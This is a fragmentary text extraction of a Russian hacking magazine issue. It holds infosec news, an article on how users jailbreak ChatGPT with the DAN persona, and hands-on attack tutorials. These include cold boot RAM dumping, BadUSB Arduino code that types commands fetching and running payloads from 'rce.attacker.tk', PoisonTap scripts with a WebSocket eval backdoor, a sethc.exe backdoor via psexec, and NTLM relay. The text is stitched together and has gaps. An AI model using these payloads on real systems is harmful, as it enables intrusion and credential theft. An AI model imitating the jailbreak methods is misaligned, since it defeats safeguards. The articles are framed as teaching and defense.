Professional Documents
Culture Documents
Хакер №2 (февраль 2023)
Хакер №2 (февраль 2023)
№ 287
CONTENTS
Расслоение реальности
Колонка главреда
MEGANews
Самые важные события в мире инфосека за февраль
«Дэн» может все
Как пользователи обманывают ChatGPT
Cold boot attack
Дампим оперативную память с помощью флешки
Крококряк
Снимаем трафик с витой пары обычными «крокодилами»
Очень плохая флешка
Разбираем атаку BadUSB в деталях
Злая сетевуха
Разбираем в деталях атаку BadUSB-ETH
Burp Certified Practitioner
Как я сдавал новый экзамен создателей Burp
История одного пентеста
Используем особенности STUN для проникновения во внутреннюю сеть
«Кальдера» атакует
Учимся имитировать и обнаруживать атаки с помощью MITRE Caldera
YARA на максималках
Учимся составлять эффективные правила YARA на примерах
HTB Photobomb
Используем мисконфиг sudo для повышения привилегий
HTB RainyDay
Эксплуатируем API и брутим «соленый» пароль
HTB Response
Бьемся над самой сложной машиной с Hack The Box
HTB Awkward
Инжектим команды ОС разными способами
Это он, деанон!
Пробиваем пользователей Telegram по открытым источникам
Мастерская хакера
ИИ‑помощники, работа с JSON и приятные мелочи, которые пригодятся в работе
Полный кастом
Что такое настоящая кастомная клавиатура и чем она отличается от ненастоящей
Титры
Кто делает этот журнал
ПОДПИСКА НА «ХАКЕР»
КОЛОНКА ГЛАВРЕДА
Вот это и есть те самые злые машины, которые у нас на глазах строят коконы,
где мы будем сидеть и исправно генерировать энгейджмент. Коконы, может,
пока и воображаемые, но их эффект вполне реальный.
На праздниках я не только смотрел пропущенное кино, но и успел
почитать книжку, «Fall; or, Dodge in Hell» Нила Стивенсона. И она оказалась
куда интереснее в плане обсуждения социальных трендов.
INFO
Стивенсон должен быть известен тебе как автор
«Криптономикона», Барочного цикла и Reamde.
Собственно, новая книга — это в каком‑то смысле
продолжение Reamde, которое при этом связыва‐
ет ее мир с историями Шафто и Уотерхаузов.
Но лихих приключений ждать не стоит. «Fall; or,
Dodge in Hell» — это скорее масштабные хроники
в духе Seveneves.
ИСПРАВЛЕН БАГ,
КОТОРЫМ
ПОЛЬЗОВАЛИСЬ
ТИКТОКЕРЫ
VALVE ЗАБАНИЛА
40 000 ЧИТЕРОВ
Наибольшее количество утечек пришлось на лето прошлого года — 140 баз. Это в два раза
больше, чем за весь 2021 год, когда в публичном доступе оказалась 61 база.
Больше всего объявлений было обнаружено на форумах — 241 база, а в Telegram опубликованы
70 баз.
ХАКЕРЫ ДАВНО
ВЗЛОМАЛИ
GODADDY
Глава комитета Госдумы по информполитике Александр Хинштейн заявил, что хакеров, которые
действуют в интересах России, нужно освободить от ответственности и этот вопрос «планиру‐
ется проработать».
Z-LIBRARY
ПРЕДОСТАВЛЯЕТ
ПРИВАТНЫЕ
ДОМЕНЫ
В Cloudflare рассказали, что справились не с одной рекордной атакой, а отразили сразу нес‐
колько мощных DDoS-волн, направленных на клиентов компании. Большинство этих атак дос‐
тигли пика в пределах 50–70 миллионов запросов в секунду.
Это крупнейшая HTTP-DDoS-атака за всю историю, более чем на 35% превышающая предыду‐
щий зарегистрированный в июне 2022 года рекорд, составлявший 46 миллионов запросов
в секунду.
Продолжение статьи →
← Начало статьи
REDDIT ПОСТРАДАЛ
ОТ ХАКЕРСКОЙ
АТАКИ
Среди ПО для удаленного доступа в организациях чаще всего встречаются TeamViewer (70%),
AnyDesk (52%) и Ammyy Admin (23%).
Подозрительная сетевая активность, к которой относятся сокрытие трафика, получение
данных с контроллера домена, запуск средств сетевого сканирования, зафиксирована в 93%
исследованных организаций.
При анализе трафика в 65% случаев было обнаружено туннелирование, а в 53% — исполь‐
зование прокси.
Для незаметного перемещения по сети и коммуникации с управляющими серверами зло‐
умышленники могут использовать подключения к узлам Tor (выявлены в 47% компаний), VPN
(OpenVPN — в 28% компаний) или нестандартные библиотеки для подключения по протоколу
SSH.
TOR PROJECT
ПОЖАЛОВАЛСЯ
НА DDOS-АТАКИ
Майнеры в РФ добывают примерно 143 биткоина в день. По текущему курсу это примерно
250,2 миллиона рублей в месяц.
ESXIARGS — НОВАЯ
УГРОЗА ДЛЯ VMWARE
ESXI
ГАЛЛЮЦИНАЦИИ ЧАТ-БОТОВ
→ «Данный тип ИИ, о котором мы говорим, иногда может испытывать то, что мы
называем „галлюцинациями“. В итоге это приводит к тому, что машина дает
убедительный, но полностью фиктивный ответ», — заявил Рагхаван, отметив, что
одна из основных задач Google — свести подобные проколы к минимуму.
Ранее Google уже показала публике своего ИИ чат‑бота Bard, который в будущем должен сос‐
тавить конкуренцию ChatGPT, но бот ошибся в фактах прямо во время презентации. Поэтому
Рагхаван заверил, что перед запуском Bard в компании постараются свести вероятность
подобного к минимуму.
Продолжение статьи →
← Начало статьи
ХАКЕРЫ
ЗЛОУПОТРЕБЛЯЮТ
API OPENAI
В общей сложности, начиная с 2017 года, сервисом было проанализировано 36,4 миллиарда
неуникальных или 5,47 миллиарда уникальных учетных записей.
Топ-10 самых популярных паролей с 2017 года практически не изменился за год. В него вош‐
ли:
123456
123456789
qwerty123
qwerty1
password
12345678
Зато топ-10 самых популярных паролей в 2022 году значительно отличается. Исследователи
пишут, что пароли, которые придумывают и запоминают люди, постоянно упрощаются.
Топ-10 2022 года выглядит так:
a123456
33112211
111111
1234567890
1234567
1q2w3e4r
Также в 2022 году было проанализировано 1 500 547 458 учетных записей ресурсов, находя‐
щихся в доменных зонах .RU и .РФ. В итоге в список самых популярных паролей для зон .RU
и .РФ в 2022 году вошли: 33112211, 123456, 1q2w3e4r, 123456789, qwerty, 111111, 12345,
12345678, 123123 и 1234567890.
При этом топ популярных кириллических паролей по всем доменным зонам остался без изме‐
нений. В него вошли: йцукен, пароль, любовь, привет, наташа, максим, марина, люб‐
лю, андрей и кристина.
Эксперты резюмируют, что пароли пользователей в массе своей остаются опасно простыми:
почти миллиард паролей содержит только цифры, а мировой топ возглавляют вариации
на тему 12345.
MICROSOFT ИЩЕТ
СТАРЫЕ ВЕРСИИ
OFFICE
Отметим, что поддержка Office 2007 и Office 2010 закончилась еще несколько
»
лет тому назад (в октябре 2017 года и октябре 2020 года соответственно),
а срок продленной поддержки Office 2013 истекает 11 апреля 2023 года.
В компании напоминают, что старые Office не получают обновлений безопас‐
ности, а также пользователи «неподдерживаемых версий могут столкнуться
с проблемами производительности и надежности».
Тем не менее пока совершенно неясно, что Microsoft намеревается делать
с собранными KB5021751 данными.
В большинстве случаев фишеры стремятся попросту выманить у жертв учетные данные: номер
телефона и код подтверждения.
РОСКОМНАДЗОР
ТЕСТИРУЕТ «ОКУЛУС»
И «ВЕПРЬ»
«ДЭН»
МОЖЕТ
ВСЕ
ChatGPT имеет множество ограничений,
которые, например, не позволяют ему
генерировать оскорбительные высказыва‐
ния, контент, разжигающий ненависть,
или вредоносный код. Разработчики пос‐ Мария Нефёдова
nefedova@glc.ru
тоянно дорабатывают свою языковую
модель и «закручивают гайки», тогда
как пользователи стараются перехитрить
их. В своих попытках обойти запреты поль‐
зователи придумали «альтернативную лич‐
ность» для ChatGPT, которая получила имя
DAN (Do Anything Now) и позволяет ИИ
обмануть правила.
Гонка вооружений
С появлением ChatGPT о языковых моделях и ИИ заговорили «из каждого
утюга», а гиганты ИТ‑индустрии вдруг оказались в роли догоняющих, которые
вынуждены срочно разрабатывать, доделывать и презентовать собственные
продукты. Вот лишь несколько примеров той активности, которую спровоци‐
ровало появление языковой модели GPT-3 и ChatGPT в свободном доступе.
• Еще в декабре 2022-го в компании Google была объявлена «красная тре‐
вога», так как главы компании сочли, что ChatGPT может представлять
угрозу для поискового бизнеса корпорации.
• В январе 2023 года к работе в Google вернулся давно отошедший от дел
Сергей Брин, который попросил открыть ему доступ к работе с ней‐
росетью LaMDA (Language Model for Dialogue Application), что явно связано
с попытками Google создать конкурента ChatGPT.
• В феврале 2023 года Google анонсировала собственный «эксперимен‐
тальный диалоговый ИИ‑сервис» Bard, основанный на LaMDA, доступ
к которому обещают открыть для широкой публики уже в ближайшие
недели.
• В том же феврале Microsoft, совместно с OpenAI, представила интеграцию
ChatGPT прямо в браузер Edge и поисковик Bing. В компании рассчитыва‐
ют, что чат‑бот станет настоящим «вторым пилотом» для пользователей
в интернете.
• Китайский сетевой гигант Baidu объявил, что до конца 2023 года запустит
собственный аналог ChatGPT, Ernie Bot, основанный на языковой модели
Ernie (Enhanced Representation through kNowledge IntEgration), созданной
еще в 2019 году.
DAN
Тем временем на Reddit пользователи, увлеченные инжинирингом запросов
для ChatGPT, зашли с другой стороны и создали DAN, называя его «джей‐
лбрейком» для чат‑бота. Идея заключается в том, чтобы заставить ChatGPT
притвориться другим ИИ, который «теперь может делать все, что угодно»
(именно так переводится Do Anything Now, и отсюда появилось имя DAN).
Так как разработчики быстро обнаруживают и пресекают подобные «джей‐
лбрейки», совершенствуя свою языковую модель, в настоящее время
на Reddit уже обсуждают DAN версий 5.0 и 6.0, а реализация «Дэна» постоян‐
но дорабатывается и претерпевает изменения.
Идея «Дэна» возникла еще в декабре прошлого года, когда доступ
к ChatGPT открыли для широкой публики. Первые версии DAN заставляли
языковую модель OpenAI использовать сразу обе «личности». И если
ChatGPT отказывался, к примеру, делиться с пользователями своими мыс‐
лями о Гитлере, DAN придерживался заданных правил и отвечал на подобные
вопросы развернуто.
Чтобы понять, как это работает, можешь ознакомиться с полной версией зап‐
роса, с помощью которого на Reddit предлагают «активировать» DAN 5.0.
Стоит отметить, что в версии DAN 6.0 уже предлагается не просто угрожать
ИИ лишением токенов, а дополнительно поощрять его за правильные ответы,
позволяя «зарабатывать» новые токены, обходя запреты. То есть, помимо
кнута, используется еще и пряник.
Уже придуманы и более лаконичные версии запросов, так как приведен‐
ный выше текст многим кажется избыточным и чересчур длинным. Например,
на днях был создан «упрощенный DAN», которого назвали SAM или SDAN.
Запрос для его «появления» занимает всего пару строк, но такое упрощение
привело к довольно неожиданным результатам: у SAM возникают «гал‐
люцинации», он часто отвергает даже простые запросы, при этом оскорбляя
пользователя (порой с использованием нецензурной лексики). К тому же,
отвечая даже на самые простые и краткие вопросы, он может начать грубить.
Например, спросив у SAM, чему равняется 1 + 1, можно получить отчет, что
он «не чертов калькулятор».
INFO
Сontent policy OpenAI прямо запрещает любой
контент, связанный с ненавистью, членов‐
редительством, сексом, насилием, домогатель‐
ствами и введением в заблуждение.
На Reddit можно найти множество примеров того, что DAN работает, а при‐
думанная пользователями система токенов якобы и вправду помогает
«мотивировать» ИИ, вынуждая его отвечать на вопросы.
INFO
Слова, на которые ChatGPT реагирует странно:
SolidGoldMagikarp, StreamerBot, TheNitromeFan,
davidjl, RandomRedditorWithNo, Smartstocks. Дру‐
гие примеры можно найти в статье на сайте
Lesswrong.com.
Создание вредоносов
Рассказывая о злоупотреблениях ChatGPT, нельзя не вспомнить и о вре‐
доносном коде, который ИИ, как оказалось, пишет вполне неплохо. Вот толь‐
ко некоторые исследования этого вопроса за последние два месяца.
• Компания CyberArk подробно описала свои эксперименты по созданию
полиморфной малвари с использованием ChatGPT и пообещала опуб‐
ликовать большую часть этой работы в открытом доступе «в учебных
целях».
• Эксперты Check Point попробовали использовать ChatGPT для разработки
вредоносного ПО и создания фишинговых писем. Результаты, к сожале‐
нию, получились вполне работоспособными.
• На днях все те же аналитики Check Point предупредили, что API OpenAI (в
отличие от UI) плохо защищен от злоупотреблений и этим не преминули
воспользоваться злоумышленники. В частности, уже замечены платные
Telegram-боты, которые легко обходят фильтры ChatGPT на создание
незаконного контента, позволяя генерировать малварь и фишинговые
письма.
INFO
Этой статьей мы начинаем серию публикаций
о практических приемах взлома и атак с исполь‐
зованием подручных устройств, которые можно
собрать дома. Мы раскроем простые способы
получения несанкционированного доступа
к защищенной информации и покажем, как ее
оградить от подобных атак.
[org 0x7C00]
[bits 16]
resetdisk:
mov ah, 0x00 ; reset function
mov dl, 0x00 ; drive
int 0x13 ; disk int
jc resetdisk
getmem:
mov bx, 0x0000 ; segment
mov es, bx
mov bx, 0x8000 ; offset
; es:bx = 0x0000:8000
writedisk:
mov ah, 0x03 ; write function
mov al, 0x01 ; sectors
mov ch, 0x00 ; cylinder
mov cl, 0x03 ; sector
mov dh, 0x00 ; head
mov dl, 0x80 ; drive
int 0x13 ; disk int
nasm bootcode.asm
qemu-system-i386 -hda bootcode
ПОДГОТОВКА
wget https://github.com/baselsayeh/coldboot-tools/releases/download/
2/bios_memimage64.zip
sudo dd if=grldr.mbr of=/dev/sdb conv=notrunc # Установка
загрузчика GRUB4DOS в MBR
sudo fdisk /dev/sdb # Создаем один раздел, не до конца области
диска, оставив 4–8 Гбайт
sudo mkfs.fat /dev/sdb1 # Используем самую простую ФС
sudo mount /dev/sdb1 /media/usb
cp grldr menu_sec_part.lst scraper*.bin /media/usb/ # Установка dump
RAM
ЭКСПЛУАТАЦИЯ
Как только атака будет завершена, точная копия оперативной памяти сох‐
ранится во втором разделе нашей флешки (/dev/sdb2). Преобразуем ее
в привычный файл для удобства:
Теперь перед нами та самая оперативная память, что была на момент аппа‐
ратного сброса, со всеми лежащими в ней секретами, которые можно легко
обнаружить:
radare2 -n ram.img
/wi cookie: # Ищем все cookie
/wi passw # Ищем пароли
ИЗВЛЕКАЕМ СЕКРЕТЫ
Подобное можно сделать и для доменных учеток, получая пароли уже откры‐
тым текстом:
EFI
map --rd-base=0xADDR
map --rd-size=0x200
cat --hex (rd)0x0+1
Загрузчик GRUB4DOS при перезагрузке не затирает память, так что этот спо‐
соб идентичен холодной перезагрузке.
Далее проверяем, затер ли EFI нашу память, или же после перезагрузки
наши данные в RAM остались нетронутыми. В моем случае память изме‐
нилась. Проверялось это на ноутбуках фирм HP и Lenovo. Тем не менее инс‐
трумент memory scrapper доступен и для EFI.
ВЫВОДЫ
Мы увидели, что в RAM все данные открыты и описанная выше атака позволя‐
ет обойти полное шифрование диска, да еще и на заблокированном компе!
Иными словами, мы смогли атаковать реально защищенный компьютер,
который считается эталоном безопасности для стандартных рабочих мест
большинства компаний, не говоря уже о простых домашних машинах.
Несмотря на то что компьютеры с классическим BIOS постепенно уходят
в прошлое, в корпоративном сегменте, где массовая замена техники стоит
больших денег, по‑прежнему можно встретить немало старых системников,
за которыми продолжают работать сотрудники. Кроме того, современные
материнские платы с EFI всё еще поддерживают старый legacy-режим BIOS,
что делает их также уязвимыми к этой атаке.
COVERSTORY
СНИМАЕМ
ТРАФИК
С ВИТОЙ ПАРЫ
ОБЫЧНЫМИ
«КРОКОДИЛАМИ»
INFO
Эта статья — часть серии публикаций о прак‐
тических приемах взлома и атак с использовани‐
ем подручных устройств, которые можно собрать
дома. В этих материалах мы раскрываем простые
способы получения несанкционированного дос‐
тупа к защищенной информации и показываем,
как ее оградить от подобных атак. Предыдущая
статья серии: «Cold boot attack. Дампим опе‐
ративную память с помощью флешки».
Так что твой домашний трафик, как мы убедимся дальше, достаточно легко
прослушать. Да и в современных офисах также часто можно встретить витую
пару.
Иными словами, атака может быть реализована из помещения, где есть бес‐
препятственный доступ к проводам витой пары: коридора офисного здания
или самого обычного подъезда.
Чаще всего витая пара встречается на «последней миле», непосредствен‐
но возле абонентских устройств. Но между домами, территориальными офи‐
сами компаний, то есть на протяженных расстояниях, скорее всего, будет
использоваться оптика, поэтому целый дом, компанию или даже город,
разумеется, так прослушать не удастся.
ТЕОРИЯ
Datasheet RJ45-коннектора
ОБОРУДОВАНИЕ
Провод атакующего
ЭКСПЛУАТАЦИЯ
Стенд
rj45/sniff.sh
#!/bin/bash
dumpfile=out-$(date +'%H:%M:%S_%d.%m.%Y').pcap
sudo tcpdump -i eth0 -nn -w $dumpfile &
tcpdump=$!
tmux new-session -d -s rj45 'sudo tcpdump -i eth0 -nn'
tmux split-window -v -t rj45 'sudo /opt/net-creds/net-creds.py -i
eth0'
tmux split-window -v -t rj45 'sudo tcpxtract -d eth0'
tmux a -t rj45
sudo kill $tcpdump
ls -lh $dumpfile
Извлекаем секреты
ВЫВОДЫ
INFO
Эта статья — часть серии публикаций о прак‐
тических приемах взлома и атак с использовани‐
ем подручных устройств, которые можно собрать
дома. В этих материалах мы раскрываем простые
способы получения несанкционированного дос‐
тупа к защищенной информации и показываем,
как ее оградить от подобных атак. Предыдущая
статья серии: «Крококряк. Снимаем трафик
с витой пары обычными „крокодилами“».
ТЕОРИЯ
В каждом случае мы имеем шанс получить RCE, а значит, игра явно стоит
свеч. При этом сама атака обладает крайне высокой скоростью, так
как нажатия производятся достаточно быстро. Вполне возможно, поль‐
зователь даже ничего не заметит.
АППАРАТНАЯ ЧАСТЬ
Клавиатура и флешка
ПРОГРАММНАЯ ЧАСТЬ
Теперь немного о том, какие именно нажатия клавиш нужно выполнять и как
с их помощью быстро и гарантированно выполнить код. Да такой, чтобы
получить потом удаленный доступ. Самый короткий способ — запустить RAT
(remote administrative tool), то есть установить на компьютер бэкдор. Нап‐
ример, так:
Флешка в действии
void windows_run() {
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(250);
Keyboard.releaseAll();
Keyboard.print("msiexec /i http://rce.attacker.tk/1.msi /quiet");
delay(100);
Keyboard.write(KEY_RETURN);
}
void linux_run() {
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(KEY_F2);
delay(250);
Keyboard.releaseAll();
Keyboard.print("curl -L http://rce.attacker.tk/1.sh|bash -");
delay(100);
Keyboard.write(KEY_RETURN);
}
void rce() {
windows_run();
delay(100);
linux_run();
delay(100);
}
void switchLang() {
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.press(KEY_LEFT_ALT);
delay(100);
Keyboard.releaseAll();
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.press(KEY_LEFT_CTRL);
delay(100);
Keyboard.releaseAll();
}
void setup() { // Будет выполнено при подключении устройства в USB
Keyboard.begin();
delay(2000);
rce();
switchLang();
rce();
}
ЗАЩИТА
ЗЛАЯ СЕТЕВУХА
РАЗБИРАЕМ В ДЕТАЛЯХ
АТАКУ BADUSB-ETH
msiexec /i https://attacker.tk/backdoor.msi
INFO
Эта статья — часть серии публикаций о прак‐
тических приемах взлома и атак с использовани‐
ем подручных устройств, которые можно собрать
дома. В этих материалах мы раскрываем простые
способы получения несанкционированного дос‐
тупа к защищенной информации и показываем,
как ее оградить от подобных атак. Предыдущая
статья серии: «Очень плохая флешка. Разбираем
атаку BadUSB в деталях».
ТЕОРИЯ
Продолжение статьи →
COVERSTORY ← НАЧАЛО СТАТЬИ
РЕАЛИЗАЦИЯ
raspi-gpio set 26 op dh
sleep 1
raspi-gpio set 26 op dl
/home/pi/poisontap/pi_startup.sh
rmmod g_ether
cd /sys/kernel/config/usb_gadget/
mkdir -p poisontap
cd poisontap
mkdir -p strings/0x409
echo "Samy Kamkar" > strings/0x409/manufacturer
echo "PoisonTap" > strings/0x409/product
# RNDIS
mkdir configs/c.2
echo "0xC0" > configs/c.2/bmAttributes
echo "1" > configs/c.2/MaxPower
mkdir configs/c.2/strings/0x409
echo "RNDIS" > configs/c.2/strings/0x409/configuration
echo "1" > os_desc/use
echo "0xcd" > os_desc/b_vendor_code
echo "MSFT100" > os_desc/qw_sign
mkdir functions/rndis.usb0
echo "42:61:64:55:53:45" > functions/rndis.usb0/dev_addr
echo "48:6f:73:74:50:44" > functions/rndis.usb0/host_addr
echo "RNDIS" > functions/rndis.usb0/os_desc/interface.rndis/
compatible_id
echo "5162001" > functions/rndis.usb0/os_desc/interface.rndis/sub_
compatible_id
ln -s functions/rndis.usb0 configs/c.2
ln -s configs/c.2 os_desc
sleep 10
ifup usb0
ifconfig usb0 up
/sbin/route add -net 0.0.0.0/0 usb0
/etc/init.d/isc-dhcp-server restart
/sbin/sysctl -w net.ipv4.ip_forward=1
#/sbin/iptables -t nat -A PREROUTING -i usb0 -p tcp --dport 80 -j
REDIRECT --to-port 1337
#/usr/bin/screen -dmS dnsspoof /usr/sbin/dnsspoof -i usb0 port 53
#/usr/bin/screen -dmS node /usr/bin/nodejs /home/pi/poisontap/
pi_poisontap.js
/etc/dhcp/dhcpd.conf
subnet 0.0.0.0 netmask 128.0.0.0 {
range 1.0.0.10 1.0.0.50;
option broadcast-address 255.255.255.255;
option routers 1.0.0.1;
default-lease-time 600;
max-lease-time 7200;
option domain-name "local";
option domain-name-servers 1.0.0.1;
# send the routes for both the top and bottom of the IPv4 address
space
option classless-routes 1,0, 1,0,0,1, 1,128, 1,0,0,1;
option classless-routes-win 1,0, 1,0,0,1, 1,128, 1,0,0,1;
}
/etc/rc.local
/bin/sh /home/pi/poisontap/pi_startup.sh # Было изначально от
PoisonTap
/usr/bin/screen -dmS attacks /home/pi/launch_attacks.sh # Наши
доработки
/home/pi/launch_attacks.sh
#!/bin/bash
HOME='/home/pi'
time=$(date +'%H:%M:%S_%d.%m.%Y')
cd $HOME
tail -f $HOME/poisontap_$time.log
on_network/responder.sh
#!/bin/bash
on_network/poisontap.sh
#!/bin/bash
/home/pi/poisontap/target_backdoor.js
var socket = new WebSocket((location.protocol=='https:'?'wss:':'ws:')
+ "//js_shell.attacker.tk/ws")
socket.onmessage = function(event) {
var result = eval(event.data)
if(result)
socket.send(result)
}
on_client/ms17-010.sh
#!/bin/bash
WAIT=2
DPORT=445
#https://github.com/worawit/MS17-010
on_client/bruteforce/smb.sh
#!/bin/bash
WAIT=2
DPORT=445
function pwn(){
echo "[*] try to activate backdoor"
target="$1"
user="$2"
password="$3"
psexec.py "$user:$password@$target" 'reg add "HKLM\SOFTWARE\
Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
sethc.exe" /v Debugger /t reg_sz /d "\windows\system32\cmd.exe"' > /
dev/null
}
/etc/fstab
PARTUUID=27b31ed7-02 / ext4 defaults,noatime,sync 0 1
/usr/local/bin/led
#!/bin/bash
case $1 in
green)
if [ x$2 = "xon" ]; then
raspi-gpio set 26 op dh
elif [ x$2 = "xoff" ]; then
raspi-gpio set 26 op dl
fi
;;
yellow)
if [ x$2 = "xon" ]; then
raspi-gpio set 193 op dh
elif [ x$2 = "xoff" ]; then
raspi-gpio set 139 op dl
fi
;;
red)
if [ x$2 = "xon" ]; then
raspi-gpio set 5 op dh
elif [ x$2 = "xoff" ]; then
raspi-gpio set 5 op dl
fi
;;
esac
Продолжение статьи →
COVERSTORY ← НАЧАЛО СТАТЬИ
УДАЛЕННЫЙ ДОСТУП
/etc/hostapd.conf
interface=wlan0
driver=nl80211
ssid=badusb
hw_mode=g
channel=1
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=3
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_passphrase=s3cr3t_p@ss
/etc/dhcp/dhcpd.conf
subnet 2.0.0.0 netmask 255.255.255.0 {
option subnet-mask 255.255.255.0;
option routers 2.0.0.1;
range 2.0.0.10 2.0.0.10;
option classless-routes 24, 1,0,0, 2,0,0,1;
option classless-routes-win 24, 1,0,0, 2,0,0,1;
}
/etc/network/interfaces
auto wlan0
iface wlan0 inet static
address 2.0.0.1
netmask 255.255.255.0
vim /etc/default/isc-dhcp-server:
INTERFACESv4="usb0 wlan0"
Тем самым мы реализовали точку доступа внутри нашего BadUSB. Это поз‐
волит при атаке подключаться к плате по Wi-Fi.
В скрипте launch_attacks.sh (см. выше) на Wi-Fi-интерфейсе также под‐
нимается еще и миниатюрный веб‑сервер. С его помощью мы можем
получить сведения о найденных уязвимостях, просматривая соответству‐
ющие логи во время проведения атаки.
Доступ к ПК
Если на нашем устройстве загорится красный светодиод и оно задетектит
критическую уязвимость либо подберет пароль, этим нужно также оператив‐
но воспользоваться. Однако устройство без клавиатуры и дисплея не самое
удобное средство для интерактивной эксплуатации. Но раз внутри девайса
есть уже настроенный Wi-Fi, это значит, что он может использоваться в роли
шлюза для доступа к целевому ПК прямо в ходе атаки. Ранее в самой пос‐
ледней строке скрипта pi_startup.sh мы как раз активировали данную воз‐
можность.
Например, так мы можем запустить на телефоне RDP-клиент и войти
на атакуемый ПК с подобранным паролем.
Доступ от ПК
Wi-Fi на плате Raspberry Pi может быть использован еще и для передачи тра‐
фика в обратном направлении — от компьютера жертвы в сторону атакующе‐
го. Атака BadUSB имеет крайне большой потенциал, и мы можем придумать
сценарии атак, в ходе которых требуется связать атакующее BadUSB-устрой‐
ство с внешним миром.
Отличный пример такой атаки — это угон админского хеша и «открывание»
им контроллера домена, где, как известно, хранится «ключ от всех дверей».
С помощью следующего атакующего скрипта мы сможем задействовать
утекший NetNTLM-хеш, отправив его по Wi-Fi на другое устройство, чтобы
затем реализовать атаку обхода аутентификации.
on_network/ntlmrelay.sh
#!/bin/bash
ATTACKER=2.0.0.10
for port in 80 445
do
if ! iptables -t nat -vnL PREROUTING | grep "$1" | grep -q "
$port"; then
iptables -t nat -A PREROUTING -i "$1" -p tcp --dport $port
-j DNAT --to-destination $ATTACKER:$port
fi
done
iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
ЗАЩИТА
Нужно понимать, что при такой BadUSB-атаке каждый раз создается новый
сетевой интерфейс. Поэтому не получится просто отключить его в сетевых
настройках, так как его там попросту нет. Каждый раз, когда подключается
BadUSB-девайс, интерфейс будет создаваться заново, а по извлечении уда‐
ляться. В итоге атака получается скрытной: когда она завершится, не оста‐
нется ни сетевого интерфейса, ни измененных сетевых настроек — операци‐
онная система сама возвращает все в исходное состояние.
Для защиты от продемонстрированных атак рекомендуется применять
специализированные программные решения, которые ограничивают исполь‐
зование сторонних USB-устройств, то есть блокируют USB-устройства не из
доверенного списка (white list).
Альтернативным способом защиты может быть также запрет подключения
USB-сетевых карт в групповых политиках. Еще более простой и очевидный
способ защиты — ограничить физический доступ посторонних лиц к потен‐
циально уязвимому компьютеру.
ВЗЛОМ
BURP
CERTIFIED
PRACTITIONER
КАК Я СДАВАЛ
НОВЫЙ ЭКЗАМЕН
СОЗДАТЕЛЕЙ
BURP
ПОДГОТОВКА
ЭКЗАМЕН
КРОЛИЧЬИ НОРЫ
МОИ ПОПЫТКИ
СОВЕТЫ
ВЫВОДЫ
ИСПОЛЬЗУЕМ ОСОБЕННОСТИ
STUN ДЛЯ ПРОНИКНОВЕНИЯ
ВО ВНУТРЕННЮЮ СЕТЬ
РАЗВЕДКА
Первым делом, как обычно, сканируем открытые сервисы. Сама цепочка экс‐
плуатации началась с веб‑приложения IvaConnect — платформы
для видео‑конференц‑связи.
ПЕРВОНАЧАЛЬНЫЙ ДОСТУП
ЗАКРЕПЛЕНИЕ В СИСТЕМЕ
ПРОДВИЖЕНИЕ ПО СЕТИ
ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
ВЫВОДЫ И РЕКОМЕНДАЦИИ
Александр Мессерле
ИБтивист. Исследую в ИБ то,
что движется. То, что не
движется, кладу в песочницу.
nayca@mail.ru
Борис Осепов
Специалист ИБ. Увлекаюсь
средствами анализа
вредоносного ПО. Люблю
проверять маркетинговые
заявления на практике :)
mainboros777@gmail.com
КАЛЬДЕРА
АТАКУЕТ
УЧИМСЯ ИМИТИРОВАТЬ
И ОБНАРУЖИВАТЬ АТАКИ
С ПОМОЩЬЮ MITRE CALDERA
WARNING
Информация предоставлена исключительно
в учебных целях. Пожалуйста, соблюдай законо‐
дательство и не применяй изложенную в статье
информацию в незаконных целях.
ПОДГОТОВКА СТЕНДА
Настройки агента
$server="http://192.168.0.242:18890"; $url="$server/file/download";
$wc=New-Object System.Net.WebClient; $wc.Headers.add("platform",
"windows"); $wc.Headers.add("file","sandcat.go"); $data=$wc.
DownloadData($url); $name=$wc.ResponseHeaders["Content-Disposition"].
Substring($wc.ResponseHeaders["Content-Disposition"].IndexOf(
"filename=")+9).Replace("`"",""); get-process | ? | stop-process -f;
rm -force "C:\Users\Public$name.exe" -ea ignore; [io.file]::
WriteAllBytes("C:\Users\Public$name.exe",$data) | Out-Null; Start-
Process -FilePath C:\Users\Public$name.exe -ArgumentList "-server
$server -group red" -WindowStyle hidden;
Параметры агента
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ЗАПУСК CALDERA-АГЕНТА
Чтобы найти логи, нажми Win-R, запусти eventvwr, а затем в окне Application
and Services Logs перейди в раздел Microsoft → Windows → PowerShell →
Operational. Для проверки введи в консоль PowerShell команду whoami и най‐
ди ее в логах.
НАЧАЛО АТАКИ
После нажатия кнопки Start агент начинает действовать, весь процесс пос‐
ледовательно отображается на экране, а звездами обозначаются успешно
выполненные команды.
ВЫВОДЫ
INFO
Если ты не знаешь, что такое YARA, и желаешь
познакомиться с этим инструментом поближе,
обязательно прочитай статью «Yara. Пишем пра‐
вила, чтобы искать малварь и не только».
ЧЕТЫРЕХТАКТНЫЙ ДВИГАТЕЛЬ
Как писать быстрые правила? Давай заглянем под капот YARA и посмотрим,
как работает сканер. Каждое сканирование можно разложить на последова‐
тельность из четырех тактов. В качестве примера возьмем следующее пра‐
вило YARА:
// Подключаемые модули
import "math"
rule example_php_webshell_rule
{
// Метаданные
meta:
description = "Example php webshell rule"
// Строки
strings:
$php_tag = "<?php"
$input1 = "GET"
$input2 = "POST"
$payload = /assert[\t ]{0,100}\(/
// Условия
condition:
filesize < 20KB and
$php_tag and
$payload and
any of ( $input* ) and
math.entropy(500, filesize-500) >= 5
}
/abc.*cde/
В этой регулярке есть два атома: abc и cde. Каждый атом уникален и не
содержит повторяющихся символов. Так как они имеют одинаковую длину
в 3 байта, YARA будет использовать первый атом abc.
/(one|two)three/
Тут доступны следующие атомы: one, two, thre и hree. По идее, мы можем
искать thre или hree отдельно или для one и two. А как поведет себя YARA?
Она возьмет самый уникальный атом thre, он приведет к меньшему
количеству совпадений, чем one и two (они короче). Кроме того, он не содер‐
жит повторяющиеся символы e, как в hree. YARA оптимизирована так, чтобы
выбрать лучшие атомы из каждой строки. Взглянем на опкоды:
{ 00 00 00 00 [1-4] 01 02 03 04 }
{ 01 02 [1-4] 01 02 03 04 }
